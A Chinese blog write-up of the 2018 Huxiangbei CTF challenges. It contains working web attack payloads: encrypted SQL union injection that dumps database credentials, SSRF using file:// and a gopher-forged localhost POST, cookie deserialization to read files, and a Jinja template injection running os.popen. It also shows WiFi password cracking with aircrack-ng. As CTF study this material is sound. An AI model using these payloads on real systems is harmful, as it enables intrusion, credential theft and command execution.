湖湘杯2018-WP

前言

首先,这次湖湘杯的web出的真的差,多种非预期,多种环境问题,题目多次上线下线,还没有实时的分数榜???因为这次逆向和pwn不强,我们应该是无缘决赛了==、有点难受。。。

Web

Welcome

签到题,进入公众号回复hxb2018即得。

flag: hxb2018{W3lc0me_T0_Hxb2o18}

CodeCheck

首先,进入维护通知,发现这个

/news/list.php

进入/news

发现zip源码泄露,下载源码:

逻辑很简单,就是把加密的id取出来,然后解密,之后SQL查询,很明显的SQL注入,然后只是加了个加密。

根据解密函数,写个加密函数,之后把SQL语句加密提交就行了。

<?php
// header('content-type:text/html;charset=utf-8');
// require_once '../config.php';
//解密过程
function decode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
if(substr(trim($data),-7)!=='hxb2018'){
echo '<script>window.location.href="/index.php";</script>';
}else{
return substr(trim($data),0,strlen(trim($data))-7);
}
}

function encode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = $data.'hxb2018';
$data = mcrypt_generic($td,$data);
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
$data = base64_encode(base64_encode($data));
return $data;
}
// echo encode('0 union select 1,2,3,4#')."\n";
// echo encode('0 union select 1,database(),version(),4#')."\n";
// K3hId1N2UVpNcjFENkFja0FtMHdrN2JhOUx4ZE82R1VhU0k0UXRITlRaS2w0dnRBV2Yva3VnWFdXa21TNWhOaA==
# mozhe_discuz_stormgroup
# 5.1.73

// echo encode('0 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database()#')."\n";
// K3hId1N2UVpNcjFENkFja0FtMHdrM1NpZEZ4Z2o0TktKSElob2Z3YithcmtBYStsR0VLVUVPdFZPeHE4THZLcnYxMEpjM3FjZ0QxMHpTSHBTSExobG1IeHArc3NsMzlDaDM1TlpsTUdVb2NEMnpvNDRpcUMrVzl6ZFR2L1lobG1Yd083WnJocC80ZURGNnJaVlh4c1RyUzNKQXZVdFdRODdKQ01iQmEzYnJBPQ==
// notice,notice2,stormgroup_member

// echo encode('0 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database() and table_name="stormgroup_member"#')."\n";
// K3hId1N2UVpNcjFENkFja0FtMHdrM1NpZEZ4Z2o0TktKSElob2Z3YithckVCelF1dUJ6S2doQ3pOR2pxOGZBSDIzOWdxYlYwayt6Nm1oRU1PZUZscWVMU3BQMGgzWTNabmdHMmQ2ZXBXWVUrOVltWmZWQWtVNWM2dFVjQm1jWEM5YmlxWGF6R0N3WE1JWG52WXVONHFMRE1iZ0kyM3BtN2Y5TktKUUZoMm9KV2RmRGV5N3RreDlFV0t0QTFjRlpUOFdiRGQ0Q2FVa3h4b2JvNUc1U0FSQT09
// id,name,password,status

// echo encode('0 union select 1,name,password,4 from stormgroup_member#')."\n";
// mozhe1
// 356f589a7df439f6f744ff19bb8092c0
// dsan13

// echo encode('0 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database() and table_name="notice2"#')."\n";
// id,title
echo encode('0 union select 1,group_concat(id),group_concat(title),4 from notice2#')."\n";
// K3hId1N2UVpNcjFENkFja0FtMHdrMlVPU1lyV2NyNUc5Q240TXB0UldaaEtMakFxSWwxeTZEWmdrQU1rRERVMDhldVNZa1ZRV1lZbGdDZFUySFVJR05ZSmNjRWlBRTdwb2dNUFdhVERjN3M9
?>

flag: hxb2018{7a2709e852f6ee9e6ead206d055cd38}

Readflag

提示非常明显SSRF,首先SSRF+file协议读文件,我想知道web目录,于是读apache的配置文件:

http://47.107.238.167/?url=file:///etc/apache2/sites-available/000-default.conf

# The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request's Host: header to # match this virtual host. For the default virtual host (this file) this # value is not decisive as it is used as a last resort host regardless. # However, you must set it for any further virtual host explicitly. #ServerName www.example.com ServerAdmin webmaster@localhost DocumentRoot /var/www/html/ssrf/web.php # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the loglevel for particular # modules, e.g. #LogLevel info ssl:warn ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined # For most configuration files from conf-available/, which are # enabled or disabled at a global level, it is possible to # include a line for only one particular virtual host. For example the # following line enables the CGI configuration for this host only # after it has been globally disabled with "a2disconf". #Include conf-available/serve-cgi-bin.conf # vim: syntax=apache ts=4 sw=4 sts=4 sr noet

得到web目录

/var/www/html/ssrf/web.php

拿到源码:

<?php 
if(!isset($_GET['url'])){
echo "ssrf me with parameter 'url'";
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
//echo $_GET['url'];
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);

//var_dump($_POST);
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['user'])){
if($_POST['user']=="admin" && $ip=="127.0.0.1"){
system("/var/www/html/ssrf/readflag");
}

}

?>

分析逻辑,不难发现想要绕过这个判断执行程序,需要一个服务器本地代理,利用gopher协议可以做到:

paylaod:

/?url=gopher%3A%2F%2F127.0.0.1%3A80%2F_POST+%2F+HTTP%2F1.1%250d%250aHost%3A+127.0.0.1%250d%250aUser-Agent%3A+curl%2F7.43.0%250d%250aAccept%3A+%2A%2F%2A%250d%250aContent-Length%3A+10%250d%250aContent-Type%3A+application%2Fx-www-form-urlencoded%250d%250a%250d%250auser%3Dadmin

事实上,本题存在非预期解,因为flag文件直接就在web目录下,所以可以直接通过file协议去读flag文件:

flag: hxb2018{0ef0c0d15f1a33b47af2a01669fbf124}

MyNote

/robots.txt容易发现源码泄露

在/User.php中发现函数__destruct()

可能存在反序列化,又发现上传文件后,会多一个Cookie—Picture。

base64解一下,容易出来

a:1:{i:0;s:32:"F2006061314554700166_400x400.jpg";}

发现是原文件名的序列化。

将其改为想读取的文件:flag的序列化,BASE64加密得到

把原来的文件名改为flag.php

得到新的cookie,修改cookie得到flag

base64解码得到flag。

flag: hxb2018{445b40b69867325f6145eca1e77fc8e1}

XmeO

注册登录然后add的内容能进行模板注入

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()}} 

选项填否,然后点show得到回显

读auto.js

 var url="http://127.0.0.1:9990/admin"
setInterval(function(){
var webPage = require('webpage');
var page = webPage.create();

var setting={
operation: "GET",
encoding: "utf8",
headers: {
​ "Referer":url
​ },
};

page.addCookie({
'name' : 'hint',
'value' : 'Try to get admin\'s page content',
'domain' : '127.0.0.1',
'path' : '/admin/',
'httponly' : false,
'secure' : false,
'expires' : (new Date()).getTime() + (1000 * 60 * 60)
});

page.addCookie({
'name' : 'flag',
'value' : 'hxb2018{29ffadfd3c22c8928f544c0b576e100f}',
'domain' : '127.0.0.1',
'path' : '/admin/mysecrecy_directory',
'httponly' : false,
'secure' : false,
'expires' : (new Date()).getTime() + (1000 * 60 * 60)
});
page.addCookie({
'name' : 'session',
'value' : 'eyJjc3JmX3Rva2VuIjp7IiBiIjoiWlRZNE0yUXlNR1pqTkRJNU16RXpOalJqWkRNMk4yUmxZVGd4TXpFelpHTmpabVEwWVRSak1RPT0ifSwidXNlcm5hbWUiOiJhZG1pbiJ9.DoVbkw.ylHkvfjRjM42G1I0gkcTQz4Hi5U',
'domain' : '127.0.0.1',
'path' : '/admin/',
'httponly' : true,
'secure' : false,
'expires' : (new Date()).getTime() + (1000 * 60 * 60)
});

page.open(url,setting,function(status){
console.log(page.content);
setTimeout(function(){},7000);
});

},7000);


在page.addCookie中看到了flag。

flag: hxb2018{29ffadfd3c22c8928f544c0b576e100f}

Misc

Disk

挂载vmdk文件,得到四个txt文件,NTFS交换数据流隐写,拼接得到的二进制

01100110 01101100 01100001 01100111 01111011 00110100 01000100 01010011 01011111 00110001 01101110 01011111 01000100 00110001 01110011 01101011 01111101 
flag: flag{4DS_1n_D1sk}

flow

首先下载的是无线流量包,一般思路是解wifi密码,然后那这个做密钥来解流量报文。

利用kali的工具aircrack-ng,加上字典,容易破解得到密码password1

aircrack-ng ctf.pcap  -w 33889.txt

之后利用这个密码来解流量数据包,命令:

airdecap-ng.exe ctf.pcap -e ctf -p password1

之后wireshark分析得到的流量包:追踪一个http流,容易发现flag

flag: flag{H4lf_1s_3n0ugh}

Hidden Write

搜索png的文件格式尾16进制49454E44AE

得到3个结果:

说明有三张png图片,分别提取出来,之后在一张稍大点的png中,发现LSB隐写。

得到一半flag

hxb2018{1e30f3b836d78d25c

双图或多图,容易想到盲水印攻击,于是利用脚本,发现成功

得到另一半flag

20b4a}

于是得到完整的flag

flag: hxb2018{1e30f3b836d78d25c20b4a}

RE

Replace

IDA打开程序后几乎没什么东西,查壳发现常见的upx壳。

直接用upx脱壳机脱掉,提示有重定向,而且不能运行,但是不影响静态调试。放到IDA里查看。

逻辑不复杂,只有一个加密函数,sub_401090。

发现byte_402151[]和byte_402150[]指的是同一个字符串。在hexView里提取出来,前面两位0x32和0x61也要加上(根据后面长度判断)。

而这个byte_4021A0数组,通过IDA的findcrypt插件可以发现这其实是AES加密中的S盒,为了方便直接从AES加密里把这个数组拿出来即可。

最后按照处理过程编写脚本,基本就是照着逻辑照抄,爆破即可。

box = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,

0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,

0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,

0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,

0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,

0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,

0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,

0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,

0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,

0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,

0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,

0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,

0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,

0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,

0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,

0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16]
key = [50, 97, 52, 57, 102, 54, 57, 99, 51, 56, 51, 57, 53, 99, 100, 101, 57, 54, 100, 54, 100, 101, 57, 54, 100, 54, 102, 52, 101, 48, 50, 53, 52, 56, 52, 57, 53, 52, 100, 54, 49, 57, 53, 52, 52, 56, 100, 101, 102, 54, 101, 50, 100, 97, 100, 54, 55, 55, 56, 54, 101, 50, 49, 100, 53, 97, 100, 97, 101, 54]

f = ''
for i in range(0,35):
for j in range(0,256):
v5 = chr(j)
v6 = (ord(v5)>>4)%16
v7 = (16*ord(v5)>>4)%16
v8 = key[2*i]
if v8 < 48 or v8 > 57:
v9 = v8 - 87
else:
v9 = v8 - 48
v11 = v9*16
v10 = key[2*i+1]
if v10 < 48 or v10 > 57:
v12 = v10 - 87
else:
v12 = v10 - 48
if box[16*v6+v7] == ((v11+v12)^0x19):
f += v5
print f

flag: flag{Th1s_1s_Simple_Rep1ac3_Enc0d3}

Crypto

Common Crypto

拿到exe打开要求输入flag,随便输点东西回车程序就关了。于是直接扔到IDA里看。(截图中变量名有的经过自定义,为了方便看)

gets获取输入的flag,然后进入sub_140001000(&key);这个函数查看。

能够清晰的找到这里的key值,把它取出来

key = [0x1b, 0x2e, 0x35, 0x46, 0x58, 0x6e ,0x72, 0x86, 0x9b,0xa7,0xb5,

0xc8,0xd9,0xef,0xff,0xc]

下面的处理过程经过和AES加密的代码对比,应该是正常的加密过程。

再进入sub_1400012A0((unsigned __int8 *)&flag, (__int64)&key);这个函数查看。基本上确定是常规的AES加密,代码过多不再贴图。

但是有个问题是key的长度是16,加密后做比较的字符串长度却太长了

按照原理,密钥长度是根据明文扩展的,而明文和密文应该是一样长,于是尝试把这段密文分成两半。分别尝试解密过程。幸运的是,前半段就成功了。

解出来一堆数字,再结合刚刚后半段的数字,猜测是十六进制转字符串。

自己添加个},尝试提交成功。

flag:  hxb2018{aa8871759de6f35215205566}

后记

累了,睡了,醒来学习二进制、、、

文章作者: V0WKeep3r
文章链接: http://v0w.top/2018/11/18/hxb2018-WP/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 V0W's Blog
支付宝打赏
微信打赏